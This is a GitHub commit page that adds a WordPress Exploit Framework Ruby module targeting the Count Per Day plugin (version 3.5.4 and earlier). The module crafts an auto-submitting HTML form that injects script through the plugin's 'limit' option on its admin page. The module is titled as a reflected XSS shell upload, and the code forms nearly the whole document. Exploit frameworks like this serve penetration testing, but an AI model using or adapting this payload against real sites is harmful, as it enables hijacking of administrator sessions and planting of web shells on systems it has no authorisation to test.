Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 9eae0d3

Browse files
committed
Add Count Per Day <= 3.5.4 XSS module
1 parent e79b7be commit 9eae0d3

File tree

1 file changed

+38
-0
lines changed

1 file changed

+38
-0
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::CountPerDayReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Count Per Day <= 3.5.4 Reflected XSS Shell Upload',
9+
author: [
10+
'Yorick Koster', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8597'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_count_per_day_wordpress_plugin.html']
16+
],
17+
date: 'Aug 04 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('count-per-day', '3.5.5')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'options-general.php?page=count-per-day%2Fcounter-options.php')
27+
end
28+
29+
def initial_script
30+
%|<html><head></head><body><script>
31+
#{js_post}
32+
post('#{vulnerable_url}', {
33+
limit: "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input value=\\\""
34+
});
35+
</script></body></html>
36+
|
37+
end
38+
end

0 commit comments

Comments
 (0)